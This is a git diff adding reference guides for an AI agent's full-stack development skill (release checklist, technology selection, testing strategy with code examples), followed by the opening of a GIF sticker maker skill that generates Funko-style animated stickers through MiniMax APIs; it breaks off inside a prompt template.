b/skills/fullstack-dev/references/release-checklist.md new file mode 100644 index 0000000..e34d329 --- /dev/null +++ b/skills/fullstack-dev/references/release-checklist.md @@ -0,0 +1,278 @@ +# Release & Acceptance Checklist + +6-gate release checklist for backend and full-stack applications. Prevents "it works on my machine" and "we forgot to check X" failures. + +**Iron Law: NO RELEASE WITHOUT ALL GATES PASSING.** + +--- + +## Release Gates Overview + +``` +Feature Complete + ↓ +Gate 1: Functional Acceptance → Does it do what it should? + ↓ +Gate 2: Non-Functional Acceptance → Is it fast, reliable, observable? + ↓ +Gate 3: Security Review → Is it safe? + ↓ +Gate 4: Deployment Readiness → Can we deploy and rollback safely? + ↓ +Gate 5: Release Execution → Deploy with canary + monitoring + ↓ +Gate 6: Post-Release Validation → Did it actually work in production? +``` + +--- + +## Gate 1: Functional Acceptance + +**Question: Does it do what the requirements say?** + +- [ ] All acceptance criteria from ticket/PRD have passing tests +- [ ] Happy path works end-to-end +- [ ] Edge cases tested (empty inputs, max lengths, Unicode) +- [ ] Error cases tested (invalid input, not found, timeout) +- [ ] Data integrity verified (CRUD cycle produces correct state) +- [ ] Backward compatibility confirmed (existing clients not broken) +- [ ] API contract matches OpenAPI spec +- [ ] Idempotency verified (retries don't create duplicates) + +### Evidence Template + +| Requirement | Test | Status | Notes | +|-------------|------|--------|-------| +| User can create order | `orders.api.test:creates order` | ✅ PASS | | +| Empty cart → error | `orders.api.test:rejects empty` | ✅ PASS | | +| Payment failure handled | `payments.test:handles decline` | ✅ PASS | | + +--- + +## Gate 2: Non-Functional Acceptance + +**Question: Is it fast, reliable, and observable?** + +### Performance + +- [ ] Response time within budget (p95 < ___ms) — measured, not assumed +- [ ] No N+1 queries (checked with query logging) +- [ ] New queries use indexes (`EXPLAIN ANALYZE`) +- [ ] Pagination works on large datasets +- [ ] Caching effective (hit rate > 80%) +- [ ] Connection pool healthy under load + +### Reliability + +- [ ] Graceful degradation when dependencies fail (circuit breaker) +- [ ] Retry logic works for transient failures +- [ ] All external calls have timeouts +- [ ] Rate limiting returns 429 correctly +- [ ] Health check endpoints verified (`/health`, `/ready`) + +### Observability + +- [ ] Structured logging with request ID (not `console.log`) +- [ ] Metrics exposed (request count, latency, error rate) +- [ ] Alerts configured (error spike, latency spike) +- [ ] Request tracing works end-to-end +- [ ] Dashboard updated for new feature + +### Evidence + +| Metric | Target | Actual | Status | +|--------|--------|--------|--------| +| p95 response | < 500ms | ___ms | ✅/❌ | +| p99 response | < 1000ms | ___ms | ✅/❌ | +| Error rate (load) | < 0.1% | ___% | ✅/❌ | +| Throughput | > ___ RPS | ___ RPS | ✅/❌ | + +--- + +## Gate 3: Security Review + +**Question: Does this introduce vulnerabilities?** + +### Input & Output + +- [ ] All input validated server-side (never trust client) +- [ ] SQL injection prevented (parameterized queries only) +- [ ] XSS prevented (output encoding) +- [ ] File upload validated (type, size, name sanitized) +- [ ] Rate limiting on sensitive endpoints (login, reset, APIs) + +### Auth & Data + +- [ ] Protected endpoints require valid credentials +- [ ] Users can only access their own resources +- [ ] Admin routes require admin role +- [ ] Tokens expire (short-lived access + refresh) +- [ ] Passwords hashed (bcrypt/argon2, not MD5/SHA) +- [ ] Sensitive data not logged (passwords, tokens, PII) +- [ ] Secrets in env vars (not hardcoded) +- [ ] Error messages don't leak internals + +### Dependencies + +- [ ] No known vulnerabilities (`npm audit` / `pip audit` / `govulncheck`) +- [ ] Dependencies pinned in lockfile +- [ ] Unused dependencies removed + +--- + +## Gate 4: Deployment Readiness + +**Question: Can we deploy safely and roll back if needed?** + +### Code + +- [ ] All tests pass in CI (not "it passed locally") +- [ ] Linter clean, build succeeds +- [ ] Code reviewed and approved +- [ ] No unresolved TODO/FIXME/HACK + +### Database + +- [ ] Migration tested on staging with production-like data +- [ ] Down migration works (tested!) +- [ ] Migration is non-destructive (additive only) +- [ ] Migration timing estimated on production data size +- [ ] Backfill plan documented (if needed) + +### Configuration + +- [ ] New env vars documented in `.env.example` +- [ ] Env vars set in staging and verified +- [ ] Env vars set in production +- [ ] Feature flags configured (if applicable) + +### Rollback Plan Template + +```markdown +## Rollback Plan: [Feature] + +### When to rollback +- Error rate > 1% sustained 5 minutes +- p99 latency > 3000ms sustained 10 minutes +- Critical business function broken + +### Steps +1. Revert deploy: [command] +2. Rollback migration (if applied): [command] +3. Invalidate cache: [command] +4. Notify team: #incidents channel +5. Verify rollback: [verification steps] + +### Estimated time: [X minutes] +### Data recovery: [procedure if data was modified] +``` + +--- + +## Gate 5: Release Execution + +### Deployment Sequence + +``` +1. 📢 ANNOUNCE in release channel + +2. 🗄️ DATABASE — Apply migration + - Run migration + - Verify completion + - Check data integrity + +3. 🚀 DEPLOY — Roll out code + - Canary first (10% traffic) + - Monitor 5 minutes + - If OK → 50% → monitor → 100% + - If NOT OK → STOP immediately + +4. 🔍 SMOKE TEST + - Health check → 200 + - Login works + - Core operation works + - No error spikes + +5. ✅ ANNOUNCE "Release complete. Monitoring 30 min." +``` + +### Canary Decision Table + +| Metric | Baseline | Canary OK | STOP | ROLLBACK | +|--------|----------|-----------|------|----------| +| Error rate | 0.05% | < 0.1% | 0.5% | > 1% | +| p95 latency | 300ms | < 500ms | 700ms | > 1000ms | + +--- + +## Gate 6: Post-Release Validation + +### Immediate (0-30 min) + +- [ ] Health checks green on all instances +- [ ] Error rate within normal range +- [ ] Latency normal (p95, p99) +- [ ] Core user journey manually tested +- [ ] Logs clean — no unexpected errors +- [ ] Alerts silent + +### Short-term (1-24 hours) + +- [ ] No customer complaints +- [ ] Business metrics stable (conversion, revenue, signups) +- [ ] Memory/CPU stable (no creeping usage) +- [ ] Queue backlogs clear +- [ ] Database performance stable + +### Post-Release Report Template + +```markdown +## Release Report: [Feature] +- Deployed: [timestamp] by @[engineer] +- Duration: [minutes] + +| Check | Status | Notes | +|-------|--------|-------| +| Health checks | ✅ | All healthy | +| Error rate | ✅ | 0.03% (baseline: 0.05%) | +| p95 latency | ✅ | 310ms (baseline: 300ms) | +| Core flow | ✅ | Order creation verified | + +Issues found: None / [details] +Rollback used: No / Yes: [reason] +``` + +--- + +## Release Readiness Score + +Score each gate **0-2**: (0 = not checked, 1 = partially, 2 = fully verified with evidence) + +| Gate | Score | +|------|-------| +| 1. Functional Acceptance | /2 | +| 2. Non-Functional Acceptance | /2 | +| 3. Security Review | /2 | +| 4. Deployment Readiness | /2 | +| 5. Release Execution Plan | /2 | +| 6. Post-Release Validation Plan | /2 | +| **Total** | **/12** | + +**Decision:** +- **12/12** → Ship it ✅ +- **10-11** → Ship with documented exceptions + owner assigned +- **< 10** → Do NOT release. Fix gaps first. + +--- + +## Common Rationalizations + +| ❌ Excuse | ✅ Reality | +|----------|-----------| +| "It's a small change" | Small changes cause outages every day | +| "We tested locally" | Local ≠ production | +| "We'll fix it if it breaks" | You'll fix it at 3 AM. Prevent now. | +| "Deadline is today" | Broken code costs more than late code | +| "CI passed" | CI doesn't check everything. Run the checklist. | +| "We can always rollback" | Only if you planned and tested rollback | +| "We did this last time fine" | Survivorship bias. Checklist every time. | diff --git a/skills/fullstack-dev/references/technology-selection.md b/skills/fullstack-dev/references/technology-selection.md new file mode 100644 index 0000000..038c5c7 --- /dev/null +++ b/skills/fullstack-dev/references/technology-selection.md @@ -0,0 +1,254 @@ +# Technology Selection Framework + +Structured decision framework for backend and full-stack technology choices. Prevents analysis paralysis while ensuring rigorous evaluation. + +**Iron Law: NO TECHNOLOGY CHOICE WITHOUT EXPLICIT TRADE-OFF ANALYSIS.** + +"I like it" and "it's trending" are not engineering arguments. + +--- + +## Phase 1: Requirements Before Technology + +### Non-Functional Requirements (Quantify!) + +| Dimension | Question | Bad Answer | Good Answer | +|-----------|----------|-----------|-------------| +| Scale | How many concurrent users? | "Lots" | "1K concurrent, 500 RPS peak" | +| Latency | Acceptable p99 response time? | "Fast" | "< 200ms API, < 2s reports" | +| Availability | Required uptime? | "Always up" | "99.9% (8.7h downtime/year)" | +| Data volume | Expected storage growth? | "A lot" | "100GB/year, 10M rows" | +| Consistency | Strong vs eventual? | "Consistent" | "Strong for payments, eventual for feeds" | +| Compliance | Regulatory? | "Some" | "GDPR data residency EU, SOC 2 Type II" | + +### Team Constraints + +- Team size and seniority level +- What the team already knows well +- Can you hire for this stack? (check job market) +- Timeline pressure (days vs months to production) +- Budget for licenses, infrastructure, training + +--- + +## Phase 2: Evaluation Matrix + +Score each option 1-5 on weighted criteria: + +| Criterion | Weight | Option A | Option B | Option C | +|-----------|--------|----------|----------|----------| +| Meets functional requirements | 5× | _ | _ | _ | +| Meets non-functional requirements | 5× | _ | _ | _ | +| Team expertise / learning curve | 4× | _ | _ | _ | +| Ecosystem maturity (libs, tools) | 3× | _ | _ | _ | +| Community & long-term viability | 3× | _ | _ | _ | +| Operational complexity | 3× | _ | _ | _ | +| Hiring pool availability | 2× | _ | _ | _ | +| Cost (license + infra + training) | 2× | _ | _ | _ | +| **Weighted Total** | | _ | _ | _ | + +**Rules:** +- Any option scoring **1 on a 5× criterion** → automatically disqualified +- Options within **10%** of each other → choose what team knows best +- Options within **15%** → run a **time-boxed PoC** (2-5 days max) + +--- + +## Phase 3: Decision Trees + +### Backend Language / Framework + +``` +What type of project? +│ +├─ REST/GraphQL API, rapid development +│ ├─ Team knows TypeScript → Node.js +│ │ ├─ Full-featured, enterprise patterns → NestJS +│ │ ├─ Lightweight, flexible → Fastify / Hono / Express +│ │ └─ Full-stack with React → Next.js API routes +│ ├─ Team knows Python +│ │ ├─ High-perf async API → FastAPI +│ │ ├─ Full-stack, admin-heavy → Django +│ │ └─ Lightweight → Flask / Litestar +│ └─ Team knows Java/Kotlin +│ ├─ Enterprise, large team → Spring Boot +│ └─ Lightweight, fast startup → Quarkus / Ktor +│ +├─ High concurrency, systems-level +│ ├─ Microservices, network → Go +│ ├─ Extreme perf, safety → Rust (Axum / Actix) +│ └─ Fault tolerance → Elixir (Phoenix) +│ +├─ Real-time (WebSocket, streaming) +│ ├─ Node.js ecosystem → Socket.io / ws +│ ├─ Scalable pub/sub → Elixir Phoenix +│ └─ Low-latency → Go / Rust +│ +└─ ML / data-intensive + └─ Python (FastAPI + ML libs) +``` + +### Database + +``` +What data model? +│ +├─ Structured, relational, ACID +│ ├─ General purpose → PostgreSQL ← DEFAULT CHOICE +│ ├─ Read-heavy, MySQL ecosystem → MySQL / MariaDB +│ └─ Embedded / serverless edge → SQLite / Turso / D1 +│ +├─ Semi-structured, flexible schema +│ ├─ Document-oriented → MongoDB +│ ├─ Serverless document → DynamoDB / Firestore +│ └─ Search-heavy → Elasticsearch / OpenSearch +│ +├─ Key-value / cache +│ ├─ In-memory + data structures → Redis / Valkey +│ └─ Planet-scale KV → DynamoDB / Cassandra +│ +├─ Time-series → TimescaleDB / ClickHouse / InfluxDB +├─ Graph → Neo4j / Apache AGE (Postgres extension) +└─ Vector (AI embeddings) → pgvector / Pinecone / Qdrant +``` + +**Default:** Start with PostgreSQL. It handles 80% of use cases. + +### Caching Strategy + +| Pattern | Technology | When | +|---------|-----------|------| +| Application cache | Redis / Valkey | Sessions, frequent reads, rate limiting | +| HTTP cache | CDN (Cloudflare/Vercel) | Static assets, public API responses | +| Query cache | Materialized views | Complex aggregations, dashboards | +| In-process cache | LRU (in-memory) | Config, small lookup tables | +| Edge cache | Cloudflare KV / Vercel KV | Global low-latency reads | + +### Message Queue / Event Streaming + +| Pattern | Technology | When | +|---------|-----------|------| +| Task queue (background jobs) | BullMQ / Celery / SQS | Email, exports, payments | +| Event streaming (replay, audit) | Kafka / Redpanda | Event sourcing, real-time pipelines | +| Lightweight pub/sub | Redis Streams / NATS | Simple notifications, broadcasting | +| Request-reply (sync over async) | NATS / RabbitMQ RPC | Internal service calls | + +### Hosting / Deployment + +| Model | Technology | When | +|-------|-----------|------| +| Serverless (auto-scale) | Vercel / Cloudflare Workers / Lambda | Variable traffic, pay-per-use | +| Container (predictable) | Cloud Run / Render / Railway / Fly.io | Steady traffic, simple ops | +| Kubernetes (large scale) | EKS / GKE / AKS | 10+ services, team has K8s expertise | +| VPS (full control) | DigitalOcean / Hetzner / EC2 | Predictable workload, cost-sensitive | + +--- + +## Phase 4: Decision Documentation + +### ADR (Architecture Decision Record) Template + +```markdown +# ADR-{NNN}: {Title} + +## Status: Proposed | Accepted | Deprecated | Superseded by ADR-{NNN} + +## Context +What problem are we solving? What forces are at play? + +## Decision +What did we choose and why? + +## Evaluation +| Criterion | Weight | Chosen | Runner-up | +|-----------|--------|--------|-----------| + +## Consequences +- Positive: ... +- Negative: ... +- Risks: ... + +## Alternatives Rejected +- Option B: rejected because... +- Option C: rejected because... +``` + +--- + +## Common Stack Templates + +### A: Startup / MVP (Speed) + +| Layer | Choice | Why | +|-------|--------|-----| +| Language | TypeScript | One language front + back | +| Framework | Next.js (full-stack) or NestJS (API) | Fast iteration | +| Database | PostgreSQL (Supabase / Neon) | Managed, generous free tier | +| Auth | Better Auth / Clerk | No auth code to maintain | +| Cache | Redis (Upstash) | Serverless-friendly | +| Hosting | Vercel / Railway | Zero-config deploys | + +### B: SaaS / Business App (Balance) + +| Layer | Choice | Why | +|-------|--------|-----| +| Language | TypeScript or Python | Team preference | +| Framework | NestJS or FastAPI | Structured, testable | +| Database | PostgreSQL | Reliable, feature-rich | +| Queue | BullMQ (Redis) | Simple background jobs | +| Auth | OAuth 2.0 + JWT | Standard, flexible | +| Hosting | AWS ECS / Cloud Run | Scalable containers | +| Monitoring | Datadog / Grafana + Prometheus | Full observability | + +### C: High-Performance (Scale) + +| Layer | Choice | Why | +|-------|--------|-----| +| Language | Go or Rust | Max throughput, low latency | +| Database | PostgreSQL + Redis + ClickHouse | OLTP + cache + analytics | +| Queue | Kafka / Redpanda | High-throughput streaming | +| Hosting | Kubernetes (EKS/GKE) | Fine-grained scaling | +| Monitoring | Prometheus + Grafana + Jaeger | Metrics + tracing | + +### D: AI / ML Application + +| Layer | Choice | Why | +|-------|--------|-----| +| Language | Python (API) + TypeScript (frontend) | ML libs + modern UI | +| Framework | FastAPI + Next.js | Async + SSR | +| Database | PostgreSQL + pgvector | Relational + embeddings | +| Queue | Celery + Redis | ML job processing | +| Hosting | Modal / AWS GPU / Replicate | GPU access | + +--- + +## Anti-Patterns + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | "X is trending on HN" | Evaluate against YOUR requirements | +| 2 | Resume-Driven Development | Choose what team can maintain | +| 3 | "Must scale to 1M users" (day 1) | Build for 10× current need, not 1000× | +| 4 | Evaluate for weeks | Time-box to 3-5 days, then decide | +| 5 | No decision documentation | Write ADR for every major choice | +| 6 | Ignore operational cost | Include deploy, monitor, debug cost | +| 7 | "We'll rewrite later" | Assume you won't. Choose carefully. | +| 8 | Microservices by default | Start monolith, extract when needed | +| 9 | Different DB per service (day 1) | One database, split when justified | +| 10 | "It worked at Google" | You're not Google. Scale to YOUR context. | + +--- + +## Common Issues + +### Issue 1: "Team can't agree on a framework" + +**Fix:** Time-box to 3 days. Fill the evaluation matrix. If scores within 10%, pick what the majority knows. Document in ADR. Move on. + +### Issue 2: "We picked X but it doesn't fit" + +**Fix:** Sunk cost fallacy check. If < 2 weeks invested, switch now. If > 2 weeks, document pain points and plan phased migration. + +### Issue 3: "Do we need microservices?" + +**Fix:** Almost certainly no. Start with a well-structured monolith. Extract to services only when: (a) different scaling needs, (b) different team ownership, (c) different deployment cadence. diff --git a/skills/fullstack-dev/references/testing-strategy.md b/skills/fullstack-dev/references/testing-strategy.md new file mode 100644 index 0000000..1552a13 --- /dev/null +++ b/skills/fullstack-dev/references/testing-strategy.md @@ -0,0 +1,404 @@ +# Backend Testing Strategy + +Comprehensive testing guide for backend and full-stack applications. Covers the full testing pyramid with deep focus on API integration tests, database testing, contract testing, and performance testing. + +## Quick Start Checklist + +- [ ] **Test runner configured** (Jest/Vitest, Pytest, Go test) +- [ ] **Test database** ready (Docker container or in-memory) +- [ ] **Database isolation** per test (transaction rollback or truncation) +- [ ] **Test factories** for common entities (user, order, product) +- [ ] **Auth helper** to generate tokens for tests +- [ ] **CI pipeline** runs tests with real database service +- [ ] **Coverage threshold** enforced (≥ 80%) + +--- + +## The Testing Pyramid + +``` + ╱╲ E2E (few, slow) — full flows across services + ╱ ╲ + ╱────╲ Integration (moderate) — API + DB + external + ╱ ╲ + ╱────────╲ Unit (many, fast) — pure business logic + ╱__________╲ +``` + +| Level | What | Speed | Count | +|-------|------|-------|-------| +| Unit | Pure functions, business logic, no I/O | < 10ms | 70%+ of tests | +| Integration | API routes + real database + mocked externals | 50-500ms | ~20% | +| E2E | Full user flow across deployed services | 1-30s | ~10% | +| Contract | API compatibility between services | < 100ms | Per API boundary | +| Performance | Load, stress, soak | Minutes | Per critical path | + +--- + +## 1. API Integration Testing (CRITICAL) + +### What to Test for Every Endpoint + +| Aspect | Tests to Write | +|--------|---------------| +| Happy path | Correct input → expected response + correct DB state | +| Auth | No token → 401, bad token → 401, expired → 401 | +| Authorization | Wrong role → 403, not owner → 403 | +| Validation | Missing fields → 422, bad types → 422, boundary values | +| Not found | Invalid ID → 404, deleted resource → 404 | +| Conflict | Duplicate create → 409, stale update → 409 | +| Idempotency | Same request twice → same result | +| Side effects | DB state changed, events emitted, cache invalidated | +| Error format | All errors match RFC 9457 envelope | + +### TypeScript (Jest + Supertest) + +```typescript +describe('POST /api/orders', () => { + let token: string; + let product: Product; + + beforeAll(async () => { + await resetDatabase(); + const user = await createTestUser({ role: 'customer' }); + token = await getAuthToken(user); + product = await createTestProduct({ price: 29.99, stock: 10 }); + }); + + it('creates order → 201 + correct DB state', async () => { + const res = await request(app) + .post('/api/orders') + .set('Authorization', `Bearer ${token}`) + .send({ items: [{ productId: product.id, quantity: 2 }] }); + + expect(res.status).toBe(201); + expect(res.body.data.total).toBe(59.98); + + const updated = await db.product.findUnique({ where: { id: product.id } }); + expect(updated!.stock).toBe(8); + }); + + it('rejects without auth → 401', async () => { + const res = await request(app).post('/api/orders').send({ items: [] }); + expect(res.status).toBe(401); + }); + + it('rejects empty items → 422', async () => { + const res = await request(app) + .post('/api/orders') + .set('Authorization', `Bearer ${token}`) + .send({ items: [] }); + expect(res.status).toBe(422); + expect(res.body.errors[0].field).toBe('items'); + }); +}); +``` + +### Python (Pytest + FastAPI TestClient) + +```python +@pytest.fixture +def client(db_session): + def override_get_db(): + yield db_session + app.dependency_overrides[get_db] = override_get_db + yield TestClient(app) + app.dependency_overrides.clear() + +def test_create_order_success(client, auth_headers, test_product): + response = client.post("/api/orders", json={ + "items": [{"product_id": test_product.id, "quantity": 2}] + }, headers=auth_headers) + assert response.status_code == 201 + assert response.json()["data"]["total"] == 59.98 + +def test_create_order_no_auth(client): + response = client.post("/api/orders", json={"items": []}) + assert response.status_code == 401 + +def test_create_order_empty_items(client, auth_headers): + response = client.post("/api/orders", json={"items": []}, headers=auth_headers) + assert response.status_code == 422 +``` + +--- + +## 2. Database Testing (HIGH) + +### Test Isolation Strategies + +| Strategy | Speed | Realism | When | +|----------|-------|---------|------| +| **Transaction rollback** | ⚡ Fastest | Medium | Default for unit + integration | +| **Truncation** | Fast | High | When rollback isn't possible | +| **Test containers** | Slow startup | Highest | CI pipeline, full integration | + +**Transaction rollback (recommended default):** +```typescript +let tx: Transaction; +beforeEach(async () => { tx = await db.beginTransaction(); }); +afterEach(async () => { await tx.rollback(); }); +``` + +**Docker test containers (CI):** +```yaml +# docker-compose.test.yml +services: + test-db: + image: postgres:16-alpine + tmpfs: /var/lib/postgresql/data # RAM disk for speed + environment: + POSTGRES_DB: myapp_test +``` + +### Test Factories (Not Raw SQL) + +```typescript +// factories/user.factory.ts +import { faker } from '@faker-js/faker'; + +export function buildUser(overrides: Partial = {}): CreateUserDTO { + return { + email: faker.internet.email(), + firstName: faker.person.firstName(), + role: 'customer', + ...overrides, + }; +} +export async function createUser(overrides = {}) { + return db.user.create({ data: buildUser(overrides) }); +} +``` + +```python +# factories/user_factory.py +import factory +from faker import Faker + +class UserFactory(factory.Factory): + class Meta: + model = User + email = factory.LazyAttribute(lambda _: Faker().email()) + first_name = factory.LazyAttribute(lambda _: Faker().first_name()) + role = "customer" +``` + +--- + +## 3. External Service Testing (HIGH) + +### HTTP-Level Mocking (Not Function Mocking) + +**TypeScript (nock):** +```typescript +import nock from 'nock'; + +it('processes payment successfully', async () => { + nock('https://api.stripe.com') + .post('/v1/charges') + .reply(200, { id: 'ch_123', status: 'succeeded', amount: 5000 }); + + const result = await paymentService.charge({ amount: 50.00, currency: 'usd' }); + expect(result.status).toBe('succeeded'); +}); + +it('handles payment timeout', async () => { + nock('https://api.stripe.com').post('/v1/charges').delay(10000).reply(200); + await expect(paymentService.charge({ amount: 50, currency: 'usd' })) + .rejects.toThrow('timeout'); +}); +``` + +**Python (responses):** +```python +import responses + +@responses.activate +def test_payment_success(): + responses.post("https://api.stripe.com/v1/charges", + json={"id": "ch_123", "status": "succeeded"}, status=200) + result = payment_service.charge(amount=50.00, currency="usd") + assert result.status == "succeeded" +``` + +### Test Containers for Infrastructure + +```typescript +import { PostgreSqlContainer } from '@testcontainers/postgresql'; +import { RedisContainer } from '@testcontainers/redis'; + +beforeAll(async () => { + const pg = await new PostgreSqlContainer('postgres:16').start(); + process.env.DATABASE_URL = pg.getConnectionUri(); + await runMigrations(); +}, 60000); +``` + +--- + +## 4. Contract Testing (MEDIUM-HIGH) + +### Consumer-Driven Contracts (Pact) + +**Consumer (OrderService calls UserService):** +```typescript +it('can fetch user by ID', async () => { + await pact.addInteraction() + .given('user usr_123 exists') + .uponReceiving('GET /users/usr_123') + .withRequest('GET', '/api/users/usr_123') + .willRespondWith(200, (b) => { + b.jsonBody({ data: { id: MatchersV3.string(), email: MatchersV3.email() } }); + }) + .executeTest(async (mockserver) => { + const user = await new UserClient(mockserver.url).getUser('usr_123'); + expect(user.id).toBeDefined(); + }); +}); +``` + +**Provider verifies in CI:** +```typescript +await new Verifier({ + providerBaseUrl: 'http://localhost:3001', + pactBrokerUrl: process.env.PACT_BROKER_URL, + provider: 'UserService', +}).verifyProvider(); +``` + +--- + +## 5. Performance Testing (MEDIUM) + +### k6 Load Test + +```javascript +import http from 'k6/http'; +import { check, sleep } from 'k6'; + +export const options = { + stages: [ + { duration: '30s', target: 20 }, // ramp up + { duration: '1m', target: 100 }, // sustain + { duration: '30s', target: 0 }, // ramp down + ], + thresholds: { + http_req_duration: ['p(95)<500', 'p(99)<1000'], + http_req_failed: ['rate<0.01'], + }, +}; + +export default function () { + const res = http.get(`${__ENV.BASE_URL}/api/orders`); + check(res, { 'status 200': (r) => r.status === 200 }); + sleep(1); +} +``` + +### Performance Budgets + +| Metric | Target | Action if Exceeded | +|--------|--------|--------------------| +| p95 response time | < 500ms | Optimize queries/caching | +| p99 response time | < 1000ms | Check outlier queries | +| Error rate | < 0.1% | Investigate spikes | +| DB query time | < 100ms each | Add indexes | + +### When to Run + +| Trigger | Test Type | +|---------|-----------| +| Before major release | Full load test | +| New DB query/index | Query benchmark | +| Infrastructure change | Baseline comparison | +| Weekly (CI) | Smoke load test | + +--- + +## Test File Organization + +``` +tests/ + unit/ # Pure logic, mocked dependencies + order.service.test.ts + integration/ # API + real DB + orders.api.test.ts + auth.api.test.ts + contracts/ # Consumer-driven contracts + user-service.consumer.pact.ts + performance/ # Load tests + load-test.js + fixtures/ + factories/ # Test data factories + user.factory.ts + seeds/ + test-data.ts + helpers/ + setup.ts # Global test config + auth.helper.ts # Token generation + db.helper.ts # DB cleanup +``` + +--- + +## Anti-Patterns + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | Test only happy paths | Test errors, auth, validation, edge cases | +| 2 | Mock everything (no real DB) | Use test containers or test DB | +| 3 | Tests depend on execution order | Each test sets up / tears down own state | +| 4 | Hardcode test data | Use factories (faker + overrides) | +| 5 | Test implementation details | Test behavior: input → output | +| 6 | Share mutable state | Isolate per test (transaction rollback) | +| 7 | Skip migration testing in CI | Run migrations from scratch in CI | +| 8 | No performance test before release | Load test every major release | +| 9 | Test against production data | Generated test data only | +| 10 | Test suite > 10 minutes | Parallelize, RAM disk, optimize setup | + +--- + +## Common Issues + +### Issue 1: "Tests pass alone but fail together" + +**Cause:** Shared database state between tests. Missing cleanup. + +**Fix:** +```typescript +beforeEach(async () => { await db.raw('TRUNCATE orders, users CASCADE'); }); +// OR use transaction rollback per test +``` + +### Issue 2: "Jest did not exit one second after test run" + +**Cause:** Unclosed database connections or HTTP servers. + +**Fix:** +```typescript +afterAll(async () => { + await db.destroy(); + await server.close(); +}); +``` + +### Issue 3: "Async callback was not invoked within timeout" + +**Cause:** Missing `async/await` or unhandled promise. + +**Fix:** +```typescript +// ❌ Promise not awaited +it('should work', () => { request(app).get('/users'); }); + +// ✅ Properly awaited +it('should work', async () => { await request(app).get('/users'); }); +``` + +### Issue 4: "Integration tests too slow in CI" + +**Fix:** +1. Use `tmpfs` for PostgreSQL data dir (RAM disk) +2. Run migrations once in `beforeAll`, truncate in `beforeEach` +3. Parallelize test suites with `--maxWorkers` +4. Skip performance tests on feature branches (only main) diff --git a/skills/gif-sticker-maker/SKILL.md b/skills/gif-sticker-maker/SKILL.md new file mode 100644 index 0000000..48bbeea --- /dev/null +++ b/skills/gif-sticker-maker/SKILL.md @@ -0,0 +1,127 @@ +--- +name: gif-sticker-maker +description: | + Convert photos (people, pets, objects, logos) into 4 animated GIF stickers with captions. + Use when: user wants to create cartoon stickers, GIF expressions, emoji packs, animated avatars, + or convert photos to Funko Pop / Pop Mart blind box style animations. + Triggers: sticker, GIF, cartoon, emoji, expression pack, avatar animation. +license: MIT +metadata: + version: "1.2" + category: creative-tools + style: Funko Pop / Pop Mart + output_format: GIF + output_count: 4 + sources: + - MiniMax Image Generation API + - MiniMax Video Generation API +--- + +# GIF Sticker Maker + +Convert user photos into 4 animated GIF stickers (Funko Pop / Pop Mart style). + +## Style Spec + +- Funko Pop / Pop Mart blind box 3D figurine +- C4D / Octane rendering quality +- White background, soft studio lighting +- Caption: black text + white outline, bottom of image + +## Prerequisites + +Before starting any generation step, ensure: + +1. **Python venv** is activated with dependencies from [requirements.txt](references/requirements.txt) installed +2. **`MINIMAX_API_KEY`** is exported (e.g. `export MINIMAX_API_KEY='your-key'`) +3. **`ffmpeg`** is available on PATH (for Step 3 GIF conversion) + +If any prerequisite is missing, set it up first. Do NOT proceed to generation without all three. + +## Workflow + +### Step 0: Collect Captions + +Ask user (in their language): +> "Would you like to customize the captions for your stickers, or use the defaults?" + +- **Custom**: Collect 4 short captions (1–3 words). Actions auto-match caption meaning. +- **Default**: Look up [captions table](references/captions.md) by **detected user language**. **Never mix languages.** + +### Step 1: Generate 4 Static Sticker Images + +**Tool**: `scripts/minimax_image.py` + +1. Analyze the user's photo — identify subject type (person / animal / object / logo). +2. For each of the 4 stickers, build a prompt from [image-prompt-template.txt](assets/image-prompt-template.txt) by filling `{action}` and `{caption}`. +3. **If subject is a person**: pass `--subject-ref ` so the generated figurine preserves the person's actual facial likeness. +4. Generate (all 4 are independent — **run concurrently**): + +```bash +python3 scripts/minimax_image.py "" -o output/sticker_hi.png --ratio 1:1 --subject-ref +python3 scripts/minimax_image.py "" -o output/sticker_laugh.png --ratio 1:1 --subject-ref +python3 scripts/minimax_image.py "" -o output/sticker_cry.png --ratio 1:1 --subject-ref +python3 scripts/minimax_image.py "" -o output/sticker_love.png --ratio 1:1 --subject-ref +``` + +> `--subject-ref` only works for person subjects (API limitation: type=character). +> For animals/objects/logos, omit the flag and rely on text description. + +### Step 2: Animate Each Image → Video + +**Tool**: `scripts/minimax_video.py` with `--image` flag (image-to-video mode) + +For each sticker image, build a prompt from [video-prompt-template.txt](assets/video-prompt-template.txt), then: + +```bash +python3 scripts/minimax_video.py "" --image output/sticker_hi.png -o output/sticker_hi.mp4 +python3 scripts/minimax_video.py "" --image output/sticker_laugh.png -o output/sticker_laugh.mp4 +python3 scripts/minimax_video.py "" --image output/sticker_cry.png -o output/sticker_cry.mp4 +python3 scripts/minimax_video.py "" --image output/sticker_love.png -o output/sticker_love.mp4 +``` + +All 4 calls are independent — **run concurrently**. + +### Step 3: Convert Videos → GIF + +**Tool**: `scripts/convert_mp4_to_gif.py` + +```bash +python3 scripts/convert_mp4_to_gif.py output/sticker_hi.mp4 output/sticker_laugh.mp4 output/sticker_cry.mp4 output/sticker_love.mp4 +``` + +Outputs GIF files alongside each MP4 (e.g. `sticker_hi.gif`). + +### Step 4: Deliver + +Output format (strict order): +1. Brief status line (e.g. "4 stickers created:") +2. `` block with all GIF files +3. **NO text after deliver_assets** + +```xml + +output/sticker_hi.gif +output/sticker_laugh.gif +output/sticker_cry.gif +output/sticker_love.gif + +``` + +## Default Actions + +| # | Action | Filename ID | Animation | +|---|--------|-------------|-----------| +| 1 | Happy waving | hi | Wave hand, slight head tilt | +| 2 | Laughing hard | laugh | Shake with laughter, eyes squint | +| 3 | Crying tears | cry | Tears stream, body trembles | +| 4 | Heart gesture | love | Heart hands, eyes sparkle | + +See [references/captions.md](references/captions.md) for multilingual caption defaults. + +## Rules + +- Detect user's language, all outputs follow it +- Captions MUST come from [captions.md](references/captions.md) matching user's language column — never mix languages +- All image prompts must be in **English** regardless of user language (only caption text is localized) +- `` must be LAST in response, no text after diff --git a/skills/gif-sticker-maker/assets/image-prompt-template.txt b/skills/gif-sticker-maker/assets/image-prompt-template.txt new file mode 100644 index 0000000..62ff644 --- /dev/null +++ b/skills/gif-sticker-maker/assets/image-prompt-template.txt @@ -0,0 +1,23 @@ +Transform the subject into a Funko Pop / Pop Mart blind box style 3D figurine. + +Style: +- Cute cartoon proportions (large head, small body) +- 3D rendered (C4D/Octane quality), premium plastic/vinyl finish +- Clean white background, soft studio lighting + +Subject handling: +- 